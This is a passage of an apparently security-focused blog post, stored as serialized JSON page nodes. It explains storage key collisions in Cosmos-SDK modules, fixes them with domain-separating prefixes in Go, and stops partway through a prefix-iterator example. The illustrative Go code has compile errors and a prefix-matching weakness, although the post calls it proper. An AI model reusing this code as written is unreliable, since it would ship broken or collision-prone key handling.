addressNameEncoded",{"type":21,"tag":85,"props":87664,"children":87665},{"style":114},[87666],{"type":26,"value":182},{"type":21,"tag":85,"props":87668,"children":87669},{"class":87,"line":81442},[87670],{"type":21,"tag":85,"props":87671,"children":87672},{"style":114},[87673],{"type":26,"value":24359},{"type":21,"tag":85,"props":87675,"children":87676},{"class":87,"line":81450},[87677],{"type":21,"tag":85,"props":87678,"children":87679},{"style":114},[87680],{"type":26,"value":2671},{"type":21,"tag":22,"props":87682,"children":87683},{},[87684,87686,87691],{"type":26,"value":87685},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":21,"tag":66,"props":87687,"children":87689},{"className":87688},[],[87690],{"type":26,"value":85439},{"type":26,"value":87692},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":21,"tag":75,"props":87694,"children":87696},{"code":87695},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[87697],{"type":21,"tag":66,"props":87698,"children":87699},{"__ignoreMap":7},[87700],{"type":26,"value":87695},{"type":21,"tag":22,"props":87702,"children":87703},{},[87704],{"type":26,"value":87705},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":21,"tag":75,"props":87707,"children":87709},{"code":87708,"language":76626,"meta":7,"className":76627,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[87710],{"type":21,"tag":66,"props":87711,"children":87712},{"__ignoreMap":7},[87713,87724,87739,87766,87791,87798,87805,87812,87827,87842,87869,87892,87911,87926,87961,87968,88003,88010,88029,88044,88079,88086,88121,88128,88155,88167,88179,88190,88201,88212,88223,88234,88241,88248,88255,88262,88277,88292,88319,88342,88361,88376,88411,88418,88453,88460,88479,88494,88529,88536,88571,88578,88605,88616,88628,88639,88650,88661,88672,88683,88691],{"type":21,"tag":85,"props":87714,"children":87715},{"class":87,"line":88},[87716,87720],{"type":21,"tag":85,"props":87717,"children":87718},{"style":102},[87719],{"type":26,"value":10069},{"type":21,"tag":85,"props":87721,"children":87722},{"style":114},[87723],{"type":26,"value":79028},{"type":21,"tag":85,"props":87725,"children":87726},{"class":87,"line":98},[87727,87731,87735],{"type":21,"tag":85,"props":87728,"children":87729},{"style":120},[87730],{"type":26,"value":85793},{"type":21,"tag":85,"props":87732,"children":87733},{"style":169},[87734],{"type":26,"value":1941},{"type":21,"tag":85,"props":87736,"children":87737},{"style":5026},[87738],{"type":26,"value":85802},{"type":21,"tag":85,"props":87740,"children":87741},{"class":87,"line":151},[87742,87747,87751,87756,87761],{"type":21,"tag":85,"props":87743,"children":87744},{"style":120},[87745],{"type":26,"value":87746},"    PositionMapPrefix",{"type":21,"tag":85,"props":87748,"children":87749},{"style":169},[87750],{"type":26,"value":1941},{"type":21,"tag":85,"props":87752,"children":87753},{"style":5026},[87754],{"type":26,"value":87755}," \"",{"type":21,"tag":85,"props":87757,"children":87758},{"style":48828},[87759],{"type":26,"value":87760},"\\x01",{"type":21,"tag":85,"props":87762,"children":87763},{"style":5026},[87764],{"type":26,"value":87765},"\"\n",{"type":21,"tag":85,"props":87767,"children":87768},{"class":87,"line":160},[87769,87774,87778,87782,87787],{"type":21,"tag":85,"props":87770,"children":87771},{"style":120},[87772],{"type":26,"value":87773},"    AddressMapPrefix",{"type":21,"tag":85,"props":87775,"children":87776},{"style":169},[87777],{"type":26,"value":1941},{"type":21,"tag":85,"props":87779,"children":87780},{"style":5026},[87781],{"type":26,"value":87755},{"type":21,"tag":85,"props":87783,"children":87784},{"style":48828},[87785],{"type":26,"value":87786},"\\x02",{"type":21,"tag":85,"props":87788,"children":87789},{"style":5026},[87790],{"type":26,"value":87765},{"type":21,"tag":85,"props":87792,"children":87793},{"class":87,"line":185},[87794],{"type":21,"tag":85,"props":87795,"children":87796},{"style":114},[87797],{"type":26,"value":2485},{"type":21,"tag":85,"props":87799,"children":87800},{"class":87,"line":501},[87801],{"type":21,"tag":85,"props":87802,"children":87803},{"emptyLinePlaceholder":16},[87804],{"type":26,"value":703},{"type":21,"tag":85,"props":87806,"children":87807},{"class":87,"line":697},[87808],{"type":21,"tag":85,"props":87809,"children":87810},{"emptyLinePlaceholder":16},[87811],{"type":26,"value":703},{"type":21,"tag":85,"props":87813,"children":87814},{"class":87,"line":706},[87815,87819,87823],{"type":21,"tag":85,"props":87816,"children":87817},{"style":102},[87818],{"type":26,"value":76762},{"type":21,"tag":85,"props":87820,"children":87821},{"style":1021},[87822],{"type":26,"value":86821},{"type":21,"tag":85,"props":87824,"children":87825},{"style":114},[87826],{"type":26,"value":1029},{"type":21,"tag":85,"props":87828,"children":87829},{"class":87,"line":1100},[87830,87834,87838],{"type":21,"tag":85,"props":87831,"children":87832},{"style":120},[87833],{"type":26,"value":85709},{"type":21,"tag":85,"props":87835,"children":87836},{"style":108},[87837],{"type":26,"value":76883},{"type":21,"tag":85,"props":87839,"children":87840},{"style":114},[87841],{"type":26,"value":182},{"type":21,"tag":85,"props":87843,"children":87844},{"class":87,"line":1339},[87845,87849,87853,87857,87861,87865],{"type":21,"tag":85,"props":87846,"children":87847},{"style":120},[87848],{"type":26,"value":85721},{"type":21,"tag":85,"props":87850,"children":87851},{"style":114},[87852],{"type":26,"value":256},{"type":21,"tag":85,"props":87854,"children":87855},{"style":120},[87856],{"type":26,"value":86202},{"type":21,"tag":85,"props":87858,"children":87859},{"style":114},[87860],{"type":26,"value":76689},{"type":21,"tag":85,"props":87862,"children":87863},{"style":108},[87864],{"type":26,"value":85227},{"type":21,"tag":85,"props":87866,"children":87867},{"style":114},[87868],{"type":26,"value":182},{"type":21,"tag":85,"props":87870,"children":87871},{"class":87,"line":1348},[87872,87876,87880,87884,87888],{"type":21,"tag":85,"props":87873,"children":87874},{"style":114},[87875],{"type":26,"value":76844},{"type":21,"tag":85,"props":87877,"children":87878},{"style":120},[87879],{"type":26,"value":72616},{"type":21,"tag":85,"props":87881,"children":87882},{"style":114},[87883],{"type":26,"value":76689},{"type":21,"tag":85,"props":87885,"children":87886},{"style":108},[87887],{"type":26,"value":85227},{"type":21,"tag":85,"props":87889,"children":87890},{"style":114},[87891],{"type":26,"value":15222},{"type":21,"tag":85,"props":87893,"children":87894},{"class":87,"line":1386},[87895,87899,87903,87907],{"type":21,"tag":85,"props":87896,"children":87897},{"style":120},[87898],{"type":26,"value":86323},{"type":21,"tag":85,"props":87900,"children":87901},{"style":169},[87902],{"type":26,"value":76878},{"type":21,"tag":85,"props":87904,"children":87905},{"style":1021},[87906],{"type":26,"value":86026},{"type":21,"tag":85,"props":87908,"children":87909},{"style":114},[87910],{"type":26,"value":1029},{"type":21,"tag":85,"props":87912,"children":87913},{"class":87,"line":1394},[87914,87918,87922],{"type":21,"tag":85,"props":87915,"children":87916},{"style":114},[87917],{"type":26,"value":86917},{"type":21,"tag":85,"props":87919,"children":87920},{"style":108},[87921],{"type":26,"value":85227},{"type":21,"tag":85,"props":87923,"children":87924},{"style":114},[87925],{"type":26,"value":182},{"type":21,"tag":85,"props":87927,"children":87928},{"class":87,"line":1402},[87929,87933,87937,87941,87945,87949,87953,87957],{"type":21,"tag":85,"props":87930,"children":87931},{"style":120},[87932],{"type":26,"value":86933},{"type":21,"tag":85,"props":87934,"children":87935},{"style":114},[87936],{"type":26,"value":73},{"type":21,"tag":85,"props":87938,"children":87939},{"style":1021},[87940],{"type":26,"value":86063},{"type":21,"tag":85,"props":87942,"children":87943},{"style":114},[87944],{"type":26,"value":1439},{"type":21,"tag":85,"props":87946,"children":87947},{"style":1021},[87948],{"type":26,"value":3520},{"type":21,"tag":85,"props":87950,"children":87951},{"style":114},[87952],{"type":26,"value":1439},{"type":21,"tag":85,"props":87954,"children":87955},{"style":120},[87956],{"type":26,"value":85933},{"type":21,"tag":85,"props":87958,"children":87959},{"style":114},[87960],{"type":26,"value":86084},{"type":21,"tag":85,"props":87962,"children":87963},{"class":87,"line":3145},[87964],{"type":21,"tag":85,"props":87965,"children":87966},{"style":114},[87967],{"type":26,"value":24359},{"type":21,"tag":85,"props":87969,"children":87970},{"class":87,"line":3246},[87971,87975,87979,87983,87987,87991,87995,87999],{"type":21,"tag":85,"props":87972,"children":87973},{"style":120},[87974],{"type":26,"value":86054},{"type":21,"tag":85,"props":87976,"children":87977},{"style":114},[87978],{"type":26,"value":73},{"type":21,"tag":85,"props":87980,"children":87981},{"style":1021},[87982],{"type":26,"value":86108},{"type":21,"tag":85,"props":87984,"children":87985},{"style":114},[87986],{"type":26,"value":1439},{"type":21,"tag":85,"props":87988,"children":87989},{"style":120},[87990],{"type":26,"value":86017},{"type":21,"tag":85,"props":87992,"children":87993},{"style":114},[87994],{"type":26,"value":256},{"type":21,"tag":85,"props":87996,"children":87997},{"style":120},[87998],{"type":26,"value":85933},{"type":21,"tag":85,"props":88000,"children":88001},{"style":114},[88002],{"type":26,"value":2485},{"type":21,"tag":85,"props":88004,"children":88005},{"class":87,"line":3255},[88006],{"type":21,"tag":85,"props":88007,"children":88008},{"emptyLinePlaceholder":16},[88009],{"type":26,"value":703},{"type":21,"tag":85,"props":88011,"children":88012},{"class":87,"line":3286},[88013,88017,88021,88025],{"type":21,"tag":85,"props":88014,"children":88015},{"style":120},[88016],{"type":26,"value":87018},{"type":21,"tag":85,"props":88018,"children":88019},{"style":169},[88020],{"type":26,"value":76878},{"type":21,"tag":85,"props":88022,"children":88023},{"style":1021},[88024],{"type":26,"value":86026},{"type":21,"tag":85,"props":88026,"children":88027},{"style":114},[88028],{"type":26,"value":1029},{"type":21,"tag":85,"props":88030,"children":88031},{"class":87,"line":3295},[88032,88036,88040],{"type":21,"tag":85,"props":88033,"children":88034},{"style":114},[88035],{"type":26,"value":86917},{"type":21,"tag":85,"props":88037,"children":88038},{"style":108},[88039],{"type":26,"value":85227},{"type":21,"tag":85,"props":88041,"children":88042},{"style":114},[88043],{"type":26,"value":182},{"type":21,"tag":85,"props":88045,"children":88046},{"class":87,"line":3308},[88047,88051,88055,88059,88063,88067,88071,88075],{"type":21,"tag":85,"props":88048,"children":88049},{"style":120},[88050],{"type":26,"value":86933},{"type":21,"tag":85,"props":88052,"children":88053},{"style":114},[88054],{"type":26,"value":73},{"type":21,"tag":85,"props":88056,"children":88057},{"style":1021},[88058],{"type":26,"value":86063},{"type":21,"tag":85,"props":88060,"children":88061},{"style":114},[88062],{"type":26,"value":1439},{"type":21,"tag":85,"props":88064,"children":88065},{"style":1021},[88066],{"type":26,"value":3520},{"type":21,"tag":85,"props":88068,"children":88069},{"style":114},[88070],{"type":26,"value":1439},{"type":21,"tag":85,"props":88072,"children":88073},{"style":120},[88074],{"type":26,"value":86202},{"type":21,"tag":85,"props":88076,"children":88077},{"style":114},[88078],{"type":26,"value":86084},{"type":21,"tag":85,"props":88080,"children":88081},{"class":87,"line":3333},[88082],{"type":21,"tag":85,"props":88083,"children":88084},{"style":114},[88085],{"type":26,"value":24359},{"type":21,"tag":85,"props":88087,"children":88088},{"class":87,"line":3369},[88089,88093,88097,88101,88105,88109,88113,88117],{"type":21,"tag":85,"props":88090,"children":88091},{"style":120},[88092],{"type":26,"value":86054},{"type":21,"tag":85,"props":88094,"children":88095},{"style":114},[88096],{"type":26,"value":73},{"type":21,"tag":85,"props":88098,"children":88099},{"style":1021},[88100],{"type":26,"value":86108},{"type":21,"tag":85,"props":88102,"children":88103},{"style":114},[88104],{"type":26,"value":1439},{"type":21,"tag":85,"props":88106,"children":88107},{"style":120},[88108],{"type":26,"value":86143},{"type":21,"tag":85,"props":88110,"children":88111},{"style":114},[88112],{"type":26,"value":256},{"type":21,"tag":85,"props":88114,"children":88115},{"style":120},[88116],{"type":26,"value":86202},{"type":21,"tag":85,"props":88118,"children":88119},{"style":114},[88120],{"type":26,"value":2485},{"type":21,"tag":85,"props":88122,"children":88123},{"class":87,"line":3377},[88124],{"type":21,"tag":85,"props":88125,"children":88126},{"emptyLinePlaceholder":16},[88127],{"type":26,"value":703},{"type":21,"tag":85,"props":88129,"children":88130},{"class":87,"line":3386},[88131,88135,88139,88143,88147,88151],{"type":21,"tag":85,"props":88132,"children":88133},{"style":120},[88134],{"type":26,"value":87137},{"type":21,"tag":85,"props":88136,"children":88137},{"style":169},[88138],{"type":26,"value":76878},{"type":21,"tag":85,"props":88140,"children":88141},{"style":120},[88142],{"type":26,"value":82696},{"type":21,"tag":85,"props":88144,"children":88145},{"style":114},[88146],{"type":26,"value":73},{"type":21,"tag":85,"props":88148,"children":88149},{"style":1021},[88150],{"type":26,"value":85685},{"type":21,"tag":85,"props":88152,"children":88153},{"style":114},[88154],{"type":26,"value":1029},{"type":21,"tag":85,"props":88156,"children":88157},{"class":87,"line":3394},[88158,88163],{"type":21,"tag":85,"props":88159,"children":88160},{"style":5026},[88161],{"type":26,"value":88162},"        \"%s%d%s%s%s%s\"",{"type":21,"tag":85,"props":88164,"children":88165},{"style":114},[88166],{"type":26,"value":182},{"type":21,"tag":85,"props":88168,"children":88169},{"class":87,"line":3410},[88170,88175],{"type":21,"tag":85,"props":88171,"children":88172},{"style":120},[88173],{"type":26,"value":88174},"        PositionMapPrefix",{"type":21,"tag":85,"props":88176,"children":88177},{"style":114},[88178],{"type":26,"value":182},{"type":21,"tag":85,"props":88180,"children":88181},{"class":87,"line":3427},[88182,88186],{"type":21,"tag":85,"props":88183,"children":88184},{"style":120},[88185],{"type":26,"value":87177},{"type":21,"tag":85,"props":88187,"children":88188},{"style":114},[88189],{"type":26,"value":182},{"type":21,"tag":85,"props":88191,"children":88192},{"class":87,"line":3445},[88193,88197],{"type":21,"tag":85,"props":88194,"children":88195},{"style":120},[88196],{"type":26,"value":87189},{"type":21,"tag":85,"props":88198,"children":88199},{"style":114},[88200],{"type":26,"value":182},{"type":21,"tag":85,"props":88202,"children":88203},{"class":87,"line":3490},[88204,88208],{"type":21,"tag":85,"props":88205,"children":88206},{"style":120},[88207],{"type":26,"value":87201},{"type":21,"tag":85,"props":88209,"children":88210},{"style":114},[88211],{"type":26,"value":182},{"type":21,"tag":85,"props":88213,"children":88214},{"class":87,"line":3596},[88215,88219],{"type":21,"tag":85,"props":88216,"children":88217},{"style":120},[88218],{"type":26,"value":87189},{"type":21,"tag":85,"props":88220,"children":88221},{"style":114},[88222],{"type":26,"value":182},{"type":21,"tag":85,"props":88224,"children":88225},{"class":87,"line":23938},[88226,88230],{"type":21,"tag":85,"props":88227,"children":88228},{"style":120},[88229],{"type":26,"value":87224},{"type":21,"tag":85,"props":88231,"children":88232},{"style":114},[88233],{"type":26,"value":182},{"type":21,"tag":85,"props":88235,"children":88236},{"class":87,"line":23973},[88237],{"type":21,"tag":85,"props":88238,"children":88239},{"style":114},[88240],{"type":26,"value":24359},{"type":21,"tag":85,"props":88242,"children":88243},{"class":87,"line":23981},[88244],{"type":21,"tag":85,"props":88245,"children":88246},{"style":114},[88247],{"type":26,"value":2671},{"type":21,"tag":85,"props":88249,"children":88250},{"class":87,"line":23989},[88251],{"type":21,"tag":85,"props":88252,"children":88253},{"emptyLinePlaceholder":16},[88254],{"type":26,"value":703},{"type":21,"tag":85,"props":88256,"children":88257},{"class":87,"line":23998},[88258],{"type":21,"tag":85,"props":88259,"children":88260},{"emptyLinePlaceholder":16},[88261],{"type":26,"value":703},{"type":21,"tag":85,"props":88263,"children":88264},{"class":87,"line":24040},[88265,88269,88273],{"type":21,"tag":85,"props":88266,"children":88267},{"style":102},[88268],{"type":26,"value":76762},{"type":21,"tag":85,"props":88270,"children":88271},{"style":1021},[88272],{"type":26,"value":87268},{"type":21,"tag":85,"props":88274,"children":88275},{"style":114},[88276],{"type":26,"value":1029},{"type":21,"tag":85,"props":88278,"children":88279},{"class":87,"line":24073},[88280,88284,88288],{"type":21,"tag":85,"props":88281,"children":88282},{"style":120},[88283],{"type":26,"value":85709},{"type":21,"tag":85,"props":88285,"children":88286},{"style":108},[88287],{"type":26,"value":76883},{"type":21,"tag":85,"props":88289,"children":88290},{"style":114},[88291],{"type":26,"value":182},{"type":21,"tag":85,"props":88293,"children":88294},{"class":87,"line":24081},[88295,88299,88303,88307,88311,88315],{"type":21,"tag":85,"props":88296,"children":88297},{"style":120},[88298],{"type":26,"value":85721},{"type":21,"tag":85,"props":88300,"children":88301},{"style":114},[88302],{"type":26,"value":256},{"type":21,"tag":85,"props":88304,"children":88305},{"style":120},[88306],{"type":26,"value":87303},{"type":21,"tag":85,"props":88308,"children":88309},{"style":114},[88310],{"type":26,"value":76689},{"type":21,"tag":85,"props":88312,"children":88313},{"style":108},[88314],{"type":26,"value":85227},{"type":21,"tag":85,"props":88316,"children":88317},{"style":114},[88318],{"type":26,"value":182},{"type":21,"tag":85,"props":88320,"children":88321},{"class":87,"line":24089},[88322,88326,88330,88334,88338],{"type":21,"tag":85,"props":88323,"children":88324},{"style":114},[88325],{"type":26,"value":76844},{"type":21,"tag":85,"props":88327,"children":88328},{"style":120},[88329],{"type":26,"value":72616},{"type":21,"tag":85,"props":88331,"children":88332},{"style":114},[88333],{"type":26,"value":76689},{"type":21,"tag":85,"props":88335,"children":88336},{"style":108},[88337],{"type":26,"value":85227},{"type":21,"tag":85,"props":88339,"children":88340},{"style":114},[88341],{"type":26,"value":15222},{"type":21,"tag":85,"props":88343,"children":88344},{"class":87,"line":24098},[88345,88349,88353,88357],{"type":21,"tag":85,"props":88346,"children":88347},{"style":120},[88348],{"type":26,"value":86323},{"type":21,"tag":85,"props":88350,"children":88351},{"style":169},[88352],{"type":26,"value":76878},{"type":21,"tag":85,"props":88354,"children":88355},{"style":1021},[88356],{"type":26,"value":86026},{"type":21,"tag":85,"props":88358,"children":88359},{"style":114},[88360],{"type":26,"value":1029},{"type":21,"tag":85,"props":88362,"children":88363},{"class":87,"line":24174},[88364,88368,88372],{"type":21,"tag":85,"props":88365,"children":88366},{"style":114},[88367],{"type":26,"value":86917},{"type":21,"tag":85,"props":88369,"children":88370},{"style":108},[88371],{"type":26,"value":85227},{"type":21,"tag":85,"props":88373,"children":88374},{"style":114},[88375],{"type":26,"value":182},{"type":21,"tag":85,"props":88377,"children":88378},{"class":87,"line":24207},[88379,88383,88387,88391,88395,88399,88403,88407],{"type":21,"tag":85,"props":88380,"children":88381},{"style":120},[88382],{"type":26,"value":86933},{"type":21,"tag":85,"props":88384,"children":88385},{"style":114},[88386],{"type":26,"value":73},{"type":21,"tag":85,"props":88388,"children":88389},{"style":1021},[88390],{"type":26,"value":86063},{"type":21,"tag":85,"props":88392,"children":88393},{"style":114},[88394],{"type":26,"value":1439},{"type":21,"tag":85,"props":88396,"children":88397},{"style":1021},[88398],{"type":26,"value":3520},{"type":21,"tag":85,"props":88400,"children":88401},{"style":114},[88402],{"type":26,"value":1439},{"type":21,"tag":85,"props":88404,"children":88405},{"style":120},[88406],{"type":26,"value":85933},{"type":21,"tag":85,"props":88408,"children":88409},{"style":114},[88410],{"type":26,"value":86084},{"type":21,"tag":85,"props":88412,"children":88413},{"class":87,"line":24215},[88414],{"type":21,"tag":85,"props":88415,"children":88416},{"style":114},[88417],{"type":26,"value":24359},{"type":21,"tag":85,"props":88419,"children":88420},{"class":87,"line":24223},[88421,88425,88429,88433,88437,88441,88445,88449],{"type":21,"tag":85,"props":88422,"children":88423},{"style":120},[88424],{"type":26,"value":86054},{"type":21,"tag":85,"props":88426,"children":88427},{"style":114},[88428],{"type":26,"value":73},{"type":21,"tag":85,"props":88430,"children":88431},{"style":1021},[88432],{"type":26,"value":86108},{"type":21,"tag":85,"props":88434,"children":88435},{"style":114},[88436],{"type":26,"value":1439},{"type":21,"tag":85,"props":88438,"children":88439},{"style":120},[88440],{"type":26,"value":86017},{"type":21,"tag":85,"props":88442,"children":88443},{"style":114},[88444],{"type":26,"value":256},{"type":21,"tag":85,"props":88446,"children":88447},{"style":120},[88448],{"type":26,"value":85933},{"type":21,"tag":85,"props":88450,"children":88451},{"style":114},[88452],{"type":26,"value":2485},{"type":21,"tag":85,"props":88454,"children":88455},{"class":87,"line":24260},[88456],{"type":21,"tag":85,"props":88457,"children":88458},{"emptyLinePlaceholder":16},[88459],{"type":26,"value":703},{"type":21,"tag":85,"props":88461,"children":88462},{"class":87,"line":24273},[88463,88467,88471,88475],{"type":21,"tag":85,"props":88464,"children":88465},{"style":120},[88466],{"type":26,"value":87460},{"type":21,"tag":85,"props":88468,"children":88469},{"style":169},[88470],{"type":26,"value":76878},{"type":21,"tag":85,"props":88472,"children":88473},{"style":1021},[88474],{"type":26,"value":86026},{"type":21,"tag":85,"props":88476,"children":88477},{"style":114},[88478],{"type":26,"value":1029},{"type":21,"tag":85,"props":88480,"children":88481},{"class":87,"line":24286},[88482,88486,88490],{"type":21,"tag":85,"props":88483,"children":88484},{"style":114},[88485],{"type":26,"value":86917},{"type":21,"tag":85,"props":88487,"children":88488},{"style":108},[88489],{"type":26,"value":85227},{"type":21,"tag":85,"props":88491,"children":88492},{"style":114},[88493],{"type":26,"value":182},{"type":21,"tag":85,"props":88495,"children":88496},{"class":87,"line":24299},[88497,88501,88505,88509,88513,88517,88521,88525],{"type":21,"tag":85,"props":88498,"children":88499},{"style":120},[88500],{"type":26,"value":86933},{"type":21,"tag":85,"props":88502,"children":88503},{"style":114},[88504],{"type":26,"value":73},{"type":21,"tag":85,"props":88506,"children":88507},{"style":1021},[88508],{"type":26,"value":86063},{"type":21,"tag":85,"props":88510,"children":88511},{"style":114},[88512],{"type":26,"value":1439},{"type":21,"tag":85,"props":88514,"children":88515},{"style":1021},[88516],{"type":26,"value":3520},{"type":21,"tag":85,"props":88518,"children":88519},{"style":114},[88520],{"type":26,"value":1439},{"type":21,"tag":85,"props":88522,"children":88523},{"style":120},[88524],{"type":26,"value":87303},{"type":21,"tag":85,"props":88526,"children":88527},{"style":114},[88528],{"type":26,"value":86084},{"type":21,"tag":85,"props":88530,"children":88531},{"class":87,"line":24353},[88532],{"type":21,"tag":85,"props":88533,"children":88534},{"style":114},[88535],{"type":26,"value":24359},{"type":21,"tag":85,"props":88537,"children":88538},{"class":87,"line":24362},[88539,88543,88547,88551,88555,88559,88563,88567],{"type":21,"tag":85,"props":88540,"children":88541},{"style":120},[88542],{"type":26,"value":86054},{"type":21,"tag":85,"props":88544,"children":88545},{"style":114},[88546],{"type":26,"value":73},{"type":21,"tag":85,"props":88548,"children":88549},{"style":1021},[88550],{"type":26,"value":86108},{"type":21,"tag":85,"props":88552,"children":88553},{"style":114},[88554],{"type":26,"value":1439},{"type":21,"tag":85,"props":88556,"children":88557},{"style":120},[88558],{"type":26,"value":87553},{"type":21,"tag":85,"props":88560,"children":88561},{"style":114},[88562],{"type":26,"value":256},{"type":21,"tag":85,"props":88564,"children":88565},{"style":120},[88566],{"type":26,"value":87303},{"type":21,"tag":85,"props":88568,"children":88569},{"style":114},[88570],{"type":26,"value":2485},{"type":21,"tag":85,"props":88572,"children":88573},{"class":87,"line":32726},[88574],{"type":21,"tag":85,"props":88575,"children":88576},{"emptyLinePlaceholder":16},[88577],{"type":26,"value":703},{"type":21,"tag":85,"props":88579,"children":88580},{"class":87,"line":32747},[88581,88585,88589,88593,88597,88601],{"type":21,"tag":85,"props":88582,"children":88583},{"style":120},[88584],{"type":26,"value":87137},{"type":21,"tag":85,"props":88586,"children":88587},{"style":169},[88588],{"type":26,"value":76878},{"type":21,"tag":85,"props":88590,"children":88591},{"style":120},[88592],{"type":26,"value":82696},{"type":21,"tag":85,"props":88594,"children":88595},{"style":114},[88596],{"type":26,"value":73},{"type":21,"tag":85,"props":88598,"children":88599},{"style":1021},[88600],{"type":26,"value":85685},{"type":21,"tag":85,"props":88602,"children":88603},{"style":114},[88604],{"type":26,"value":1029},{"type":21,"tag":85,"props":88606,"children":88607},{"class":87,"line":81413},[88608,88612],{"type":21,"tag":85,"props":88609,"children":88610},{"style":5026},[88611],{"type":26,"value":88162},{"type":21,"tag":85,"props":88613,"children":88614},{"style":114},[88615],{"type":26,"value":182},{"type":21,"tag":85,"props":88617,"children":88618},{"class":87,"line":81426},[88619,88624],{"type":21,"tag":85,"props":88620,"children":88621},{"style":120},[88622],{"type":26,"value":88623},"        AddressMapPrefix",{"type":21,"tag":85,"props":88625,"children":88626},{"style":114},[88627],{"type":26,"value":182},{"type":21,"tag":85,"props":88629,"children":88630},{"class":87,"line":81434},[88631,88635],{"type":21,"tag":85,"props":88632,"children":88633},{"style":120},[88634],{"type":26,"value":87177},{"type":21,"tag":85,"props":88636,"children":88637},{"style":114},[88638],{"type":26,"value":182},{"type":21,"tag":85,"props":88640,"children":88641},{"class":87,"line":81442},[88642,88646],{"type":21,"tag":85,"props":88643,"children":88644},{"style":120},[88645],{"type":26,"value":87189},{"type":21,"tag":85,"props":88647,"children":88648},{"style":114},[88649],{"type":26,"value":182},{"type":21,"tag":85,"props":88651,"children":88652},{"class":87,"line":81450},[88653,88657],{"type":21,"tag":85,"props":88654,"children":88655},{"style":120},[88656],{"type":26,"value":87201},{"type":21,"tag":85,"props":88658,"children":88659},{"style":114},[88660],{"type":26,"value":182},{"type":21,"tag":85,"props":88662,"children":88663},{"class":87,"line":81490},[88664,88668],{"type":21,"tag":85,"props":88665,"children":88666},{"style":120},[88667],{"type":26,"value":87189},{"type":21,"tag":85,"props":88669,"children":88670},{"style":114},[88671],{"type":26,"value":182},{"type":21,"tag":85,"props":88673,"children":88674},{"class":87,"line":81498},[88675,88679],{"type":21,"tag":85,"props":88676,"children":88677},{"style":120},[88678],{"type":26,"value":87662},{"type":21,"tag":85,"props":88680,"children":88681},{"style":114},[88682],{"type":26,"value":182},{"type":21,"tag":85,"props":88684,"children":88686},{"class":87,"line":88685},60,[88687],{"type":21,"tag":85,"props":88688,"children":88689},{"style":114},[88690],{"type":26,"value":24359},{"type":21,"tag":85,"props":88692,"children":88694},{"class":87,"line":88693},61,[88695],{"type":21,"tag":85,"props":88696,"children":88697},{"style":114},[88698],{"type":26,"value":2671},{"type":21,"tag":22,"props":88700,"children":88701},{},[88702],{"type":26,"value":88703},"We now have a proper example of how to serialize storage keys.",{"type":21,"tag":22,"props":88705,"children":88706},{},[88707,88709,88714],{"type":26,"value":88708},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":21,"tag":66,"props":88710,"children":88712},{"className":88711},[],[88713],{"type":26,"value":67561},{"type":26,"value":88715},", data should still be retrievable through original keys.",{"type":21,"tag":22,"props":88717,"children":88718},{},[88719,88721,88727,88729,88734],{"type":26,"value":88720},"Let's look at a case where we want to retrieve all ",{"type":21,"tag":66,"props":88722,"children":88724},{"className":88723},[],[88725],{"type":26,"value":88726},"map[Username]map[PositionName]Position",{"type":26,"value":88728}," associated with a ",{"type":21,"tag":66,"props":88730,"children":88732},{"className":88731},[],[88733],{"type":26,"value":85597},{"type":26,"value":88735}," from the storage. How can we safely accomplish this?",{"type":21,"tag":22,"props":88737,"children":88738},{},[88739,88741,88746,88748,88754],{"type":26,"value":88740},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":21,"tag":66,"props":88742,"children":88744},{"className":88743},[],[88745],{"type":26,"value":85668},{"type":26,"value":88747}," prefix. Below is an example of an attempt to fetch data with ",{"type":21,"tag":66,"props":88749,"children":88751},{"className":88750},[],[88752],{"type":26,"value":88753},"vaultId",{"type":26,"value":172},{"type":21,"tag":75,"props":88756,"children":88758},{"code":88757,"language":76626,"meta":7,"className":76627,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return 